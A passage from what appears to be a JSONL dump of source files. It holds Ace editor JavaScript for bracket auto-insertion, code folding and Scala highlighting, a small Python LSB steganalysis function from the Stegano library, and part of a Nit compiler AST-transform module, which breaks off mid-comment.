= {\n autoInsertedBrackets: 0,\n autoInsertedRow: -1,\n autoInsertedLineEnd: \"\",\n maybeInsertedBrackets: 0,\n maybeInsertedRow: -1,\n maybeInsertedLineStart: \"\",\n maybeInsertedLineEnd: \"\"\n };\n};\n\nvar CstyleBehaviour = function() {\n this.add(\"braces\", \"insertion\", function(state, action, editor, session, text) {\n var cursor = editor.getCursorPosition();\n var line = session.doc.getLine(cursor.row);\n if (text == '{') {\n initContext(editor);\n var selection = editor.getSelectionRange();\n var selected = session.doc.getTextRange(selection);\n if (selected !== \"\" && selected !== \"{\" && editor.getWrapBehavioursEnabled()) {\n return {\n text: '{' + selected + '}',\n selection: false\n };\n } else if (CstyleBehaviour.isSaneInsertion(editor, session)) {\n if (/[\\]\\}\\)]/.test(line[cursor.column]) || editor.inMultiSelectMode) {\n CstyleBehaviour.recordAutoInsert(editor, session, \"}\");\n return {\n text: '{}',\n selection: [1, 1]\n };\n } else {\n CstyleBehaviour.recordMaybeInsert(editor, session, \"{\");\n return {\n text: '{',\n selection: [1, 1]\n };\n }\n }\n } else if (text == '}') {\n initContext(editor);\n var rightChar = line.substring(cursor.column, cursor.column + 1);\n if (rightChar == '}') {\n var matching = session.$findOpeningBracket('}', {column: cursor.column + 1, row: cursor.row});\n if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {\n CstyleBehaviour.popAutoInsertedClosing();\n return {\n text: '',\n selection: [1, 1]\n };\n }\n }\n } else if (text == \"\\n\" || text == \"\\r\\n\") {\n initContext(editor);\n var closing = \"\";\n if (CstyleBehaviour.isMaybeInsertedClosing(cursor, line)) {\n closing = lang.stringRepeat(\"}\", context.maybeInsertedBrackets);\n CstyleBehaviour.clearMaybeInsertedClosing();\n }\n var rightChar = line.substring(cursor.column, cursor.column + 1);\n if (rightChar === '}') {\n var openBracePos = session.findMatchingBracket({row: cursor.row, column: cursor.column+1}, '}');\n if (!openBracePos)\n return null;\n var next_indent = this.$getIndent(session.getLine(openBracePos.row));\n } else if (closing) {\n var next_indent = this.$getIndent(line);\n } else {\n CstyleBehaviour.clearMaybeInsertedClosing();\n return;\n }\n var indent = next_indent + session.getTabString();\n\n return {\n text: '\\n' + indent + '\\n' + next_indent + closing,\n selection: [1, indent.length, 1, indent.length]\n };\n } else {\n CstyleBehaviour.clearMaybeInsertedClosing();\n }\n });\n\n this.add(\"braces\", \"deletion\", function(state, action, editor, session, range) {\n var selected = session.doc.getTextRange(range);\n if (!range.isMultiLine() && selected == '{') {\n initContext(editor);\n var line = session.doc.getLine(range.start.row);\n var rightChar = line.substring(range.end.column, range.end.column + 1);\n if (rightChar == '}') {\n range.end.column++;\n return range;\n } else {\n context.maybeInsertedBrackets--;\n }\n }\n });\n\n this.add(\"parens\", \"insertion\", function(state, action, editor, session, text) {\n if (text == '(') {\n initContext(editor);\n var selection = editor.getSelectionRange();\n var selected = session.doc.getTextRange(selection);\n if (selected !== \"\" && editor.getWrapBehavioursEnabled()) {\n return {\n text: '(' + selected + ')',\n selection: false\n };\n } else if (CstyleBehaviour.isSaneInsertion(editor, session)) {\n CstyleBehaviour.recordAutoInsert(editor, session, \")\");\n return {\n text: '()',\n selection: [1, 1]\n };\n }\n } else if (text == ')') {\n initContext(editor);\n var cursor = editor.getCursorPosition();\n var line = session.doc.getLine(cursor.row);\n var rightChar = line.substring(cursor.column, cursor.column + 1);\n if (rightChar == ')') {\n var matching = session.$findOpeningBracket(')', {column: cursor.column + 1, row: cursor.row});\n if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {\n CstyleBehaviour.popAutoInsertedClosing();\n return {\n text: '',\n selection: [1, 1]\n };\n }\n }\n }\n });\n\n this.add(\"parens\", \"deletion\", function(state, action, editor, session, range) {\n var selected = session.doc.getTextRange(range);\n if (!range.isMultiLine() && selected == '(') {\n initContext(editor);\n var line = session.doc.getLine(range.start.row);\n var rightChar = line.substring(range.start.column + 1, range.start.column + 2);\n if (rightChar == ')') {\n range.end.column++;\n return range;\n }\n }\n });\n\n this.add(\"brackets\", \"insertion\", function(state, action, editor, session, text) {\n if (text == '[') {\n initContext(editor);\n var selection = editor.getSelectionRange();\n var selected = session.doc.getTextRange(selection);\n if (selected !== \"\" && editor.getWrapBehavioursEnabled()) {\n return {\n text: '[' + selected + ']',\n selection: false\n };\n } else if (CstyleBehaviour.isSaneInsertion(editor, session)) {\n CstyleBehaviour.recordAutoInsert(editor, session, \"]\");\n return {\n text: '[]',\n selection: [1, 1]\n };\n }\n } else if (text == ']') {\n initContext(editor);\n var cursor = editor.getCursorPosition();\n var line = session.doc.getLine(cursor.row);\n var rightChar = line.substring(cursor.column, cursor.column + 1);\n if (rightChar == ']') {\n var matching = session.$findOpeningBracket(']', {column: cursor.column + 1, row: cursor.row});\n if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {\n CstyleBehaviour.popAutoInsertedClosing();\n return {\n text: '',\n selection: [1, 1]\n };\n }\n }\n }\n });\n\n this.add(\"brackets\", \"deletion\", function(state, action, editor, session, range) {\n var selected = session.doc.getTextRange(range);\n if (!range.isMultiLine() && selected == '[') {\n initContext(editor);\n var line = session.doc.getLine(range.start.row);\n var rightChar = line.substring(range.start.column + 1, range.start.column + 2);\n if (rightChar == ']') {\n range.end.column++;\n return range;\n }\n }\n });\n\n this.add(\"string_dquotes\", \"insertion\", function(state, action, editor, session, text) {\n if (text == '\"' || text == \"'\") {\n initContext(editor);\n var quote = text;\n var selection = editor.getSelectionRange();\n var selected = session.doc.getTextRange(selection);\n if (selected !== \"\" && selected !== \"'\" && selected != '\"' && editor.getWrapBehavioursEnabled()) {\n return {\n text: quote + selected + quote,\n selection: false\n };\n } else {\n var cursor = editor.getCursorPosition();\n var line = session.doc.getLine(cursor.row);\n var leftChar = line.substring(cursor.column-1, cursor.column);\n if (leftChar == '\\\\') {\n return null;\n }\n var tokens = session.getTokens(selection.start.row);\n var col = 0, token;\n var quotepos = -1; // Track whether we're inside an open quote.\n\n for (var x = 0; x < tokens.length; x++) {\n token = tokens[x];\n if (token.type == \"string\") {\n quotepos = -1;\n } else if (quotepos < 0) {\n quotepos = token.value.indexOf(quote);\n }\n if ((token.value.length + col) > selection.start.column) {\n break;\n }\n col += tokens[x].value.length;\n }\n if (!token || (quotepos < 0 && token.type !== \"comment\" && (token.type !== \"string\" || ((selection.start.column !== token.value.length+col-1) && token.value.lastIndexOf(quote) === token.value.length-1)))) {\n if (!CstyleBehaviour.isSaneInsertion(editor, session))\n return;\n return {\n text: quote + quote,\n selection: [1,1]\n };\n } else if (token && token.type === \"string\") {\n var rightChar = line.substring(cursor.column, cursor.column + 1);\n if (rightChar == quote) {\n return {\n text: '',\n selection: [1, 1]\n };\n }\n }\n }\n }\n });\n\n this.add(\"string_dquotes\", \"deletion\", function(state, action, editor, session, range) {\n var selected = session.doc.getTextRange(range);\n if (!range.isMultiLine() && (selected == '\"' || selected == \"'\")) {\n initContext(editor);\n var line = session.doc.getLine(range.start.row);\n var rightChar = line.substring(range.start.column + 1, range.start.column + 2);\n if (rightChar == selected) {\n range.end.column++;\n return range;\n }\n }\n });\n\n};\n\n \nCstyleBehaviour.isSaneInsertion = function(editor, session) {\n var cursor = editor.getCursorPosition();\n var iterator = new TokenIterator(session, cursor.row, cursor.column);\n if (!this.$matchTokenType(iterator.getCurrentToken() || \"text\", SAFE_INSERT_IN_TOKENS)) {\n var iterator2 = new TokenIterator(session, cursor.row, cursor.column + 1);\n if (!this.$matchTokenType(iterator2.getCurrentToken() || \"text\", SAFE_INSERT_IN_TOKENS))\n return false;\n }\n iterator.stepForward();\n return iterator.getCurrentTokenRow() !== cursor.row ||\n this.$matchTokenType(iterator.getCurrentToken() || \"text\", SAFE_INSERT_BEFORE_TOKENS);\n};\n\nCstyleBehaviour.$matchTokenType = function(token, types) {\n return types.indexOf(token.type || token) > -1;\n};\n\nCstyleBehaviour.recordAutoInsert = function(editor, session, bracket) {\n var cursor = editor.getCursorPosition();\n var line = session.doc.getLine(cursor.row);\n if (!this.isAutoInsertedClosing(cursor, line, context.autoInsertedLineEnd[0]))\n context.autoInsertedBrackets = 0;\n context.autoInsertedRow = cursor.row;\n context.autoInsertedLineEnd = bracket + line.substr(cursor.column);\n context.autoInsertedBrackets++;\n};\n\nCstyleBehaviour.recordMaybeInsert = function(editor, session, bracket) {\n var cursor = editor.getCursorPosition();\n var line = session.doc.getLine(cursor.row);\n if (!this.isMaybeInsertedClosing(cursor, line))\n context.maybeInsertedBrackets = 0;\n context.maybeInsertedRow = cursor.row;\n context.maybeInsertedLineStart = line.substr(0, cursor.column) + bracket;\n context.maybeInsertedLineEnd = line.substr(cursor.column);\n context.maybeInsertedBrackets++;\n};\n\nCstyleBehaviour.isAutoInsertedClosing = function(cursor, line, bracket) {\n return context.autoInsertedBrackets > 0 &&\n cursor.row === context.autoInsertedRow &&\n bracket === context.autoInsertedLineEnd[0] &&\n line.substr(cursor.column) === context.autoInsertedLineEnd;\n};\n\nCstyleBehaviour.isMaybeInsertedClosing = function(cursor, line) {\n return context.maybeInsertedBrackets > 0 &&\n cursor.row === context.maybeInsertedRow &&\n line.substr(cursor.column) === context.maybeInsertedLineEnd &&\n line.substr(0, cursor.column) == context.maybeInsertedLineStart;\n};\n\nCstyleBehaviour.popAutoInsertedClosing = function() {\n context.autoInsertedLineEnd = context.autoInsertedLineEnd.substr(1);\n context.autoInsertedBrackets--;\n};\n\nCstyleBehaviour.clearMaybeInsertedClosing = function() {\n if (context) {\n context.maybeInsertedBrackets = 0;\n context.maybeInsertedRow = -1;\n }\n};\n\n\n\noop.inherits(CstyleBehaviour, Behaviour);\n\nexports.CstyleBehaviour = CstyleBehaviour;\n});\n\nace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../../lib/oop\");\nvar Range = require(\"../../range\").Range;\nvar BaseFoldMode = require(\"./fold_mode\").FoldMode;\n\nvar FoldMode = exports.FoldMode = function(commentRegex) {\n if (commentRegex) {\n this.foldingStartMarker = new RegExp(\n this.foldingStartMarker.source.replace(/\\|[^|]*?$/, \"|\" + commentRegex.start)\n );\n this.foldingStopMarker = new RegExp(\n this.foldingStopMarker.source.replace(/\\|[^|]*?$/, \"|\" + commentRegex.end)\n );\n }\n};\noop.inherits(FoldMode, BaseFoldMode);\n\n(function() {\n\n this.foldingStartMarker = /(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/;\n this.foldingStopMarker = /^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/;\n\n this.getFoldWidgetRange = function(session, foldStyle, row, forceMultiline) {\n var line = session.getLine(row);\n var match = line.match(this.foldingStartMarker);\n if (match) {\n var i = match.index;\n\n if (match[1])\n return this.openingBracketBlock(session, match[1], row, i);\n \n var range = session.getCommentFoldRange(row, i + match[0].length, 1);\n \n if (range && !range.isMultiLine()) {\n if (forceMultiline) {\n range = this.getSectionRange(session, row);\n } else if (foldStyle != \"all\")\n range = null;\n }\n \n return range;\n }\n\n if (foldStyle === \"markbegin\")\n return;\n\n var match = line.match(this.foldingStopMarker);\n if (match) {\n var i = match.index + match[0].length;\n\n if (match[1])\n return this.closingBracketBlock(session, match[1], row, i);\n\n return session.getCommentFoldRange(row, i, -1);\n }\n };\n \n this.getSectionRange = function(session, row) {\n var line = session.getLine(row);\n var startIndent = line.search(/\\S/);\n var startRow = row;\n var startColumn = line.length;\n row = row + 1;\n var endRow = row;\n var maxRow = session.getLength();\n while (++row < maxRow) {\n line = session.getLine(row);\n var indent = line.search(/\\S/);\n if (indent === -1)\n continue;\n if (startIndent > indent)\n break;\n var subRange = this.getFoldWidgetRange(session, \"all\", row);\n \n if (subRange) {\n if (subRange.start.row <= startRow) {\n break;\n } else if (subRange.isMultiLine()) {\n row = subRange.end.row;\n } else if (startIndent == indent) {\n break;\n }\n }\n endRow = row;\n }\n \n return new Range(startRow, startColumn, endRow, session.getLine(endRow).length);\n };\n\n}).call(FoldMode.prototype);\n\n});\n\nace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../lib/oop\");\nvar TextMode = require(\"./text\").Mode;\nvar JavaScriptHighlightRules = require(\"./javascript_highlight_rules\").JavaScriptHighlightRules;\nvar MatchingBraceOutdent = require(\"./matching_brace_outdent\").MatchingBraceOutdent;\nvar Range = require(\"../range\").Range;\nvar WorkerClient = require(\"../worker/worker_client\").WorkerClient;\nvar CstyleBehaviour = require(\"./behaviour/cstyle\").CstyleBehaviour;\nvar CStyleFoldMode = require(\"./folding/cstyle\").FoldMode;\n\nvar Mode = function() {\n this.HighlightRules = JavaScriptHighlightRules;\n \n this.$outdent = new MatchingBraceOutdent();\n this.$behaviour = new CstyleBehaviour();\n this.foldingRules = new CStyleFoldMode();\n};\noop.inherits(Mode, TextMode);\n\n(function() {\n\n this.lineCommentStart = \"//\";\n this.blockComment = {start: \"/*\", end: \"*/\"};\n\n this.getNextLineIndent = function(state, line, tab) {\n var indent = this.$getIndent(line);\n\n var tokenizedLine = this.getTokenizer().getLineTokens(line, state);\n var tokens = tokenizedLine.tokens;\n var endState = tokenizedLine.state;\n\n if (tokens.length && tokens[tokens.length-1].type == \"comment\") {\n return indent;\n }\n\n if (state == \"start\" || state == \"no_regex\") {\n var match = line.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);\n if (match) {\n indent += tab;\n }\n } else if (state == \"doc-start\") {\n if (endState == \"start\" || endState == \"no_regex\") {\n return \"\";\n }\n var match = line.match(/^\\s*(\\/?)\\*/);\n if (match) {\n if (match[1]) {\n indent += \" \";\n }\n indent += \"* \";\n }\n }\n\n return indent;\n };\n\n this.checkOutdent = function(state, line, input) {\n return this.$outdent.checkOutdent(line, input);\n };\n\n this.autoOutdent = function(state, doc, row) {\n this.$outdent.autoOutdent(doc, row);\n };\n\n this.createWorker = function(session) {\n var worker = new WorkerClient([\"ace\"], \"ace/mode/javascript_worker\", \"JavaScriptWorker\");\n worker.attachToDocument(session.getDocument());\n\n worker.on(\"jslint\", function(results) {\n session.setAnnotations(results.data);\n });\n\n worker.on(\"terminate\", function() {\n session.clearAnnotations();\n });\n\n return worker;\n };\n\n this.$id = \"ace/mode/javascript\";\n}).call(Mode.prototype);\n\nexports.Mode = Mode;\n});\n\nace.define(\"ace/mode/scala_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../lib/oop\");\nvar DocCommentHighlightRules = require(\"./doc_comment_highlight_rules\").DocCommentHighlightRules;\nvar TextHighlightRules = require(\"./text_highlight_rules\").TextHighlightRules;\n\nvar ScalaHighlightRules = function() {\n var keywords = (\n \"case|default|do|else|for|if|match|while|throw|return|try|catch|finally|yield|\" +\n \"abstract|class|def|extends|final|forSome|implicit|implicits|import|lazy|new|object|\" +\n \"override|package|private|protected|sealed|super|this|trait|type|val|var|with\"\n );\n\n var buildinConstants = (\"true|false\");\n\n var langClasses = (\n \"AbstractMethodError|AssertionError|ClassCircularityError|\"+\n \"ClassFormatError|Deprecated|EnumConstantNotPresentException|\"+\n \"ExceptionInInitializerError|IllegalAccessError|\"+\n \"IllegalThreadStateException|InstantiationError|InternalError|\"+\n\n \"NegativeArraySizeException|NoSuchFieldError|Override|Process|\"+\n \"ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|\"+\n \"SuppressWarnings|TypeNotPresentException|UnknownError|\"+\n \"UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|\"+\n \"InstantiationException|IndexOutOfBoundsException|\"+\n \"ArrayIndexOutOfBoundsException|CloneNotSupportedException|\"+\n \"NoSuchFieldException|IllegalArgumentException|NumberFormatException|\"+\n \"SecurityException|Void|InheritableThreadLocal|IllegalStateException|\"+\n \"InterruptedException|NoSuchMethodException|IllegalAccessException|\"+\n \"UnsupportedOperationException|Enum|StrictMath|Package|Compiler|\"+\n \"Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|\"+\n \"NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|\"+\n \"NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|\"+\n \"Character|Boolean|StackTraceElement|Appendable|StringBuffer|\"+\n \"Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|\"+\n \"StackOverflowError|OutOfMemoryError|VirtualMachineError|\"+\n \"ArrayStoreException|ClassCastException|LinkageError|\"+\n \"NoClassDefFoundError|ClassNotFoundException|RuntimeException|\"+\n \"Exception|ThreadDeath|Error|Throwable|System|ClassLoader|\"+\n \"Cloneable|Class|CharSequence|Comparable|String|Object|\" +\n \"Unit|Any|AnyVal|AnyRef|Null|ScalaObject|Singleton|Seq|Iterable|List|\" +\n \"Option|Array|Char|Byte|Short|Int|Long|Nothing\"\n\n\n );\n\n var keywordMapper = this.createKeywordMapper({\n \"variable.language\": \"this\",\n \"keyword\": keywords,\n \"support.function\": langClasses,\n \"constant.language\": buildinConstants\n }, \"identifier\");\n\n this.$rules = {\n \"start\" : [\n {\n token : \"comment\",\n regex : \"\\\\/\\\\/.*$\"\n },\n DocCommentHighlightRules.getStartRule(\"doc-start\"),\n {\n token : \"comment\", // multi line comment\n regex : \"\\\\/\\\\*\",\n next : \"comment\"\n }, {\n token : \"string.regexp\",\n regex : \"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"\n }, {\n token : \"string\",\n regex : '\"\"\"',\n next : \"tstring\"\n }, {\n token : \"string\",\n regex : '\"(?=.)', // \" strings can't span multiple lines\n next : \"string\"\n }, {\n token : \"symbol.constant\", // single line\n regex : \"'[\\\\w\\\\d_]+\"\n }, {\n token : \"constant.numeric\", // hex\n regex : \"0[xX][0-9a-fA-F]+\\\\b\"\n }, {\n token : \"constant.numeric\", // float\n regex : \"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"\n }, {\n token : \"constant.language.boolean\",\n regex : \"(?:true|false)\\\\b\"\n }, {\n token : keywordMapper,\n regex : \"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"\n }, {\n token : \"keyword.operator\",\n regex : \"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"\n }, {\n token : \"paren.lparen\",\n regex : \"[[({]\"\n }, {\n token : \"paren.rparen\",\n regex : \"[\\\\])}]\"\n }, {\n token : \"text\",\n regex : \"\\\\s+\"\n }\n ],\n \"comment\" : [\n {\n token : \"comment\", // closing comment\n regex : \".*?\\\\*\\\\/\",\n next : \"start\"\n }, {\n token : \"comment\", // comment spanning whole line\n regex : \".+\"\n }\n ],\n \"string\" : [\n {\n token : \"escape\",\n regex : '\\\\\\\\\"'\n }, {\n token : \"string\",\n regex : '\"',\n next : \"start\"\n }, {\n token : \"string.invalid\",\n regex : '[^\"\\\\\\\\]*$',\n next : \"start\"\n }, {\n token : \"string\",\n regex : '[^\"\\\\\\\\]+'\n }\n ],\n \"tstring\" : [\n {\n token : \"string\", // closing comment\n regex : '\"{3,5}',\n next : \"start\"\n }, {\n token : \"string\", // comment spanning whole line\n regex : \".+?\"\n }\n ]\n };\n\n this.embedRules(DocCommentHighlightRules, \"doc-\",\n [ DocCommentHighlightRules.getEndRule(\"start\") ]);\n};\n\noop.inherits(ScalaHighlightRules, TextHighlightRules);\n\nexports.ScalaHighlightRules = ScalaHighlightRules;\n});\n\nace.define(\"ace/mode/scala\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/scala_highlight_rules\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../lib/oop\");\nvar JavaScriptMode = require(\"./javascript\").Mode;\nvar ScalaHighlightRules = require(\"./scala_highlight_rules\").ScalaHighlightRules;\n\nvar Mode = function() {\n JavaScriptMode.call(this);\n \n this.HighlightRules = ScalaHighlightRules;\n};\noop.inherits(Mode, JavaScriptMode);\n\n(function() {\n\n this.createWorker = function(session) {\n return null;\n };\n\n this.$id = \"ace/mode/scala\";\n}).call(Mode.prototype);\n\nexports.Mode = Mode;\n});\n"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Stegano - Stegano is a pure Python steganography module.\n# Copyright (C) 2010-2019 Cédric Bonhomme - https://www.cedricbonhomme.org\n#\n# For more information : https://git.sr.ht/~cedric/stegano\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>\n\n__author__ = \"Cedric Bonhomme\"\n__version__ = \"$Revision: 0.2 $\"\n__date__ = \"$Date: 2010/10/01 $\"\n__revision__ = \"$Date: 2016/08/26 $\"\n__license__ = \"GPLv3\"\n\nimport typing\nimport operator\n\nfrom PIL import Image\nfrom collections import Counter\nfrom collections import OrderedDict\n\n\ndef steganalyse(img):\n \"\"\"\n Steganlysis of the LSB technique.\n \"\"\"\n encoded = img.copy()\n width, height = img.size\n colours_counter = Counter() # type: typing.Counter[int]\n for row in range(height):\n for col in range(width):\n r, g, b = img.getpixel((col, row))\n colours_counter[r] += 1\n\n most_common = colours_counter.most_common(10)\n dict_colours = OrderedDict(\n sorted(list(colours_counter.items()), key=lambda t: t[1])\n )\n\n colours = 0 # type: float\n for colour in list(dict_colours.keys()):\n colours += colour\n colours = colours / len(dict_colours)\n\n # return colours.most_common(10)\n return list(dict_colours.keys())[:30], most_common\n"} {"text": "# This file is part of NIT ( http://www.nitlanguage.org ).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Thansformations that simplify the AST of expressions\n# This module transform complex AST `AExpr` nodes into simplier ones\nmodule transform\n\nimport astbuilder\nimport semantize\nintrude import semantize::scope\nintrude import semantize::typing\n\nredef class ToolContext\n\tvar transform_phase: Phase = new TransformPhase(self, [typing_phase, auto_super_init_phase])\n\n\t# --no-shortcut-range\n\tvar opt_no_shortcut_range: OptionBool = new OptionBool(\"Always instantiate a range and its iterator on 'for' loops\", \"--no-shortcut-range\")\n\n\tredef init\n\tdo\n\t\tsuper\n\t\tself.option_context.add_option(self.opt_no_shortcut_range)\n\tend\nend\n\nprivate class TransformPhase\n\tsuper Phase\n\n\tredef fun process_npropdef(npropdef: APropdef)\n\tdo\n\t\tvar val\n\n\t\tvar m = npropdef.mpropdef\n\t\tif m == null then return\n\t\tvar v = new TransformVisitor(self, m)\n\t\tv.enter_visit(npropdef)\n\n\t\tval = new ASTValidationVisitor\n\t\tval.enter_visit(npropdef)\n\tend\nend\n\nprivate class TransformVisitor\n\tsuper Visitor\n\n\tvar phase: TransformPhase\n\tvar mmodule: MModule is noinit\n\tvar mclassdef: MClassDef is noinit\n\tvar mpropdef: MPropDef\n\tvar builder: ASTBuilder is noinit\n\n\tinit\n\tdo\n\t\tself.mclassdef = mpropdef.mclassdef\n\t\tself.mmodule = mclassdef.mmodule\n\t\tself.builder = new ASTBuilder(mmodule, mpropdef.mclassdef.bound_mtype)\n\tend\n\n\tredef fun visit(node)\n\tdo\n\t\tif node isa AAnnotations then return\n\t\tnode.full_transform_visitor(self)\n\tend\n\n\t# Get a primitive method or display a fatal error on `location`.\n\tfun get_method(location: AExpr, name: String, recv: MClass): MMethod\n\tdo\n\t\treturn phase.toolcontext.modelbuilder.force_get_primitive_method(location, name, recv, mmodule)\n\tend\nend\n\nredef class ANode\n\tprivate fun full_transform_visitor(v: TransformVisitor)\n\tdo\n\t\tvisit_all(v)\n\t\taccept_transform_visitor(v)\n\tend\n\tprivate fun accept_transform_visitor(v: TransformVisitor)\n\tdo\n\tend\nend\n\nredef class AExpr\n\tredef fun full_transform_visitor(v: TransformVisitor)\n\tdo\n\t\tvar na = comprehension\n\t\tif na != null then\n\t\t\t# We are building a comprehension array `array`\n\t\t\t# Replace `self` with `array.push(self)`\n\t\t\tvar place = detach_with_placeholder\n\t\t\tvar recv = na.nnew.make_var_read\n\t\t\tvar nadd = v.builder.make_call(recv, na.push_callsite.as(not null), [self])\n\t\t\tplace.replace_with(nadd)\n\t\tend\n\n\t\tvisit_all(v)\n\n\t\tif is_broken then return # Skip broken\n\n\t\taccept_transform_visitor(v)\n\tend\n\n\tredef fun replace_with(other)\n\tdo\n\t\tsuper\n\t\tif other isa AExpr then\n\t\t\tif other.implicit_cast_to == null then other.implicit_cast_to = implicit_cast_to\n\t\t\tother.vararg_decl = vararg_decl\n\t\tend\n\tend\nend\n\nredef class AVardeclExpr\n\t# `var x = y` is replaced with `x = y`\n\t#\n\t# Declarations are only useful for scope rules\n\t# Once names are associated with real objects, ther declaration become useless\n\t# Therefore, if there is no initial value, then just ignore it\n\t# Else, replace it with a simple assignment\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar nexpr = n_expr\n\t\tif nexpr == null then\n\t\t\t# do nothing\n\t\t\t# note: not detached because the collection is currently under iteration\n\t\telse\n\t\t\tvar nvar = v.builder.make_var_assign(self.variable.as(not null), nexpr)\n\t\t\treplace_with(nvar)\n\t\tend\n\tend\nend\n\nredef class AIfexprExpr\n\t# is replaced with `AIfExpr`\n\t# Expression if and statement-if use two distinct classes for historical reasons\n\t# However, on can replace the `AIfexprExpr` with the simpler `AIfExpr`\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar nif = v.builder.make_if(n_expr, self.mtype)\n\t\tnif.n_then.add(n_then)\n\t\tnif.n_else.add(n_else)\n\n\t\treplace_with(nif)\n\tend\nend\n\nredef class AOrExpr\n\t# `x or y` is replaced with `if x then x else y`\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar nif = v.builder.make_if(n_expr, self.mtype)\n\t\tnif.n_then.add(n_expr.make_var_read)\n\t\tnif.n_else.add(n_expr2)\n\n\t\treplace_with(nif)\n\tend\nend\n\nredef class AImpliesExpr\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\t# TODO\n\tend\nend\n\nredef class AAndExpr\n\t# `x and y` is replaced with `if x then y else x`\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar nif = v.builder.make_if(n_expr, self.mtype)\n\t\tnif.n_then.add(n_expr2)\n\t\tnif.n_else.add(n_expr.make_var_read)\n\n\t\treplace_with(nif)\n\tend\nend\n\nredef class AWhileExpr\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar nloop = v.builder.make_loop\n\t\tvar nif = v.builder.make_if(n_expr, null)\n\t\tnloop.add nif\n\n\t\tvar nblock = n_block\n\t\tif nblock != null then nif.n_then.add nblock\n\n\t\tvar escapemark = self.break_mark.as(not null)\n\t\tvar nbreak = v.builder.make_break(escapemark)\n\t\tnif.n_else.add nbreak\n\n\t\tnloop.break_mark = self.break_mark\n\t\tnloop.continue_mark = self.continue_mark\n\n\t\treplace_with(nloop)\n\tend\nend\n\nredef class AForExpr\n\tredef fun accept_transform_visitor(v)\n\tdo\n\t\tvar escapemark = self.break_mark\n\t\tassert escapemark != null\n\n\t\t# Main block that will contain the whole for and will replace `self`\n\t\tvar nblock = v.builder.make_block\n\n\t\t# Part before the loop\n\t\tvar before = v.builder.make_block\n\t\tnblock.add before\n\n\t\t# The loop\n\t\tvar nloop = v.builder.make_loop\n\t\tnloop.break_mark = escapemark\n\t\tnblock.add nloop\n\n\t\t# Part before the body inside the loop\n\t\tvar begin = v.builder.make_block\n\t\tnloop.add begin\n\n\t\t# The `do` block with then user code\n\t\tvar ndo = v.builder.make_do\n\t\tndo.break_mark = escapemark.continue_mark\n\t\tnloop.add ndo\n\n\t\tndo.add self.n_block.as(not null)\n\n\t\t# Fill up each part\n\t\tfor g in n_groups do\n\t\t\tg.transform_in(v, before, begin, nloop, nblock, escapemark)\n\t\tend\n\n\t\treplace_with(nblock)\n\tend\nend\n\nredef class AForGroup\n\tprivate fun transform_in(v: TransformVisitor, before, begin, next, finish: AExpr, escapemark: EscapeMark)\n\tdo\n\t\tvar nexpr = n_expr\n\n\t\t# Shortcut on explicit range\n\t\t# Avoid the instantiation of the range and the iterator\n\t\tif self.variables.length == 1 and nexpr isa ARangeExpr and not v.phase.toolcontext.opt_no_shortcut_range.value then\n\t\t\t# Before: evaluate 